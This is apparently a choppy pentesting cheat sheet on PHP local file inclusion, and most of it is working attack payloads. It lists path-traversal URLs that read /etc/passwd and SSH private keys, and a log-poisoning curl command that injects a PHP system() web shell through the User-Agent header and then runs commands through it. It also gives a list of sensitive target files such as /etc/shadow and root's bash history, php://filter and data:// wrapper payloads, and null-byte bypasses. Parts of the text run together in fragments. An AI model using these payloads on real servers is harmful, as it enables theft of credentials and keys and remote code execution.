To test for LFI what we need is a parameter on any URL or other inputs, i.e. request body which includes a file. A parameter in the URL can look like https://test.com/?file=robots.txt, the file may be changed.
include()
require()
include_once ()
require_once()
http://example.com/home?page=about.html
http://example.com/home?page=/etc/passwd
* changed to path traversal, with [interesting files](https://github.com/cyberheartmi9/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal#basic-lfi-null-byte-double-encoding-and-other-tricks)
```
http://example.com/home?page=../../../../etc/passwd
```
or
```
http://example.com/home?page=html/../../../home/<username>/.ssh/id_rsa
```
www-data needs read & write permisson in order to do so.User-Agent header of the HTTP request. For example a GET parameter to deliver system commandsas followscurl 'http://<TARGETIP>/lfi/lfi.php?page=/var/log/apache2/access.log' -H 'Host: <TARGETIP>' -H 'User-Agent: Mozilla/5.0 <?php system($_GET['lfi']); ?> Firefox/70.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'DNT: 1' -H 'Upgrade-Insecure-Requests: 1'
curl 'http://<TARGETIP>/lfi/lfi.php?page=/var/log/apache2/access.log&lfi=ls%20../'
/proc/self/fd/xx./etc/issue/etc/profile/proc/version/etc/passwd/etc/apache2/.htpasswd/etc/shadow/etc/group/etc/motd/etc/mysql/my.cnf/root/.bash_history/var/log/dmessage/var/mail/root/root/.ssh/id_rsa/var/log/apache2/access.logC:\boot.ini/proc/self/fd/xx/proc/version/proc/cmdline/proc/[0-9]*/fd/[0-9]*
sess_<cookieValue> if the location of the session file is known. Some paths are
c:\Windows\Temp
/tmp/
/var/lib/php5
/var/lib/php/session
curl http://test.com/test.php?view=php://filter/convert.base64-encode/resource=<fileOnServer>.php
curl http://test.com/test.php?file=php://filter/read=string.rot13/resource=/etc/passwd
curl http://test.com/test.php?file=data://text/plain;base64,dGhlIGFuc3dlciBpcyA0Mgo=
%00 or 0x00 does the trick until PHP 5.3.4/...//..//..//file, double slashes